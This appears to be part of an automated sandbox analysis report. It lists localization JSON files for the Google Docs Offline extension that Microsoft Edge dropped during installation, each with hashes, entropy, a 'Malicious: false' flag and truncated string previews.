Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
